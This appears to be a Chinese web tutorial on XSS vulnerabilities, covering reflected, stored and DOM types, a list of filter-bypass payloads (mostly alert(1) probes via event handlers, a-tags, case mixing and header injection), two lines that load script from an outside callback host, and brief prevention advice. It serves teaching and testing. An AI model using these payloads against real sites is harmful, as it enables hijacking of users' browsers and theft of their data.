源码站-免费的源码下载、源码分享的源码网站
当前位置: 技术教程 > 黑客技术 > XSS漏洞原理和防范

概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS,XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理

反射型xss

反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS

存储型xss

提交的XSS代码会存储在服务端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。可能会影响到网站的众多用户

dom型xss

DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情,无法通过WAF防护

xss的危害

1,发现存在webXSS漏洞web,
2,恶意用户通过该漏洞将javascrip插入到该web的脚本中,等待或欺骗新用户去访问。当用户打开此含有XSS漏洞的页面,脚本运行。如果这个代码是用来获取用户的个人信息,就返回一个信息输入页面,当用户将个人用户信息输入后,当窃取到用户信息后,将该信息发送到恶意用户自行搭建的获取信息的接口

xss 常见payload

1.测试payload

<ScRipt>alert(1)</ScRipt>
1"><ScRipt>alert(1)</ScRipt>

2.绕过htmlspecialchars方法,先闭合输入,再使用事件来绕过

' onclick ='javascript:alert(1)'//
" onclick ='javascript:alert(1)'//

3.<> script onclick被过滤,用a标签绕过

"></input><a href='javascript:alert(1)'>asd</a>//

4.重写绕过

1"><ScscriptRipt>alert(1)</ScscriptRipt>

5.Unicode编码绕过

javascript:alert(1)

6.使用type=text来显示被隐藏的标签,再用事件

&t_sort=" type='text' οnclick='javascript:alert(1)'>//

7.referer UserAgent Cookie等地方也可以进行xss测试

referer:" type='text' οnclick='javascript:alert(1)'>//

8.图片

<img src=xxxx οnerrοr=alert(1)>'

9.用这些字符来测试哪些被过滤了

“ ‘ <> script onerror  onclick

10.空格用回车编码代替

<a%0D%0Aοnclick='alert(1)'>

XSS 常见绕过

  • 大小写绕过
    <ScrIpt>alert("XSS")</scRiPt>

XSS Payload类型

  • js控制: s=createElement('ScrIpt');body.appendChild(s);s.src='http://xxxxx.ceye.io'
  • 标签:<ScrIpt src='http://xxxxx.ceye.io'> </scRiPt>

XSS 防范

  • 输入过滤,过滤用户输入的内容,对所有用户提交内容进行可靠的输入验证
  • 输出转义 对输出内容进行转义
  • 使用 HttpOnly Cookie,只有当浏览器向Web服务器发起请求的时就会带上cookie字段,js脚本中却不能访问这个cookie

「内容编写不易,如果觉得我们的文章对您有用,请收藏本站,共同学习成长」

赞(1) 打赏

支付宝扫一扫打赏

微信扫一扫打赏

标签:

上一篇:

下一篇:没有了,已经是最新文章

相关推荐

0 条评论关于"XSS漏洞原理和防范"

最新评论

    暂无留言哦~~

网站简介

源码站(ymzhan.site)旨在打造一个免费的源码下载、源码分享的源码网站,为站长们提供资源下载和技术分享平台。收藏本站,总有需要的时候。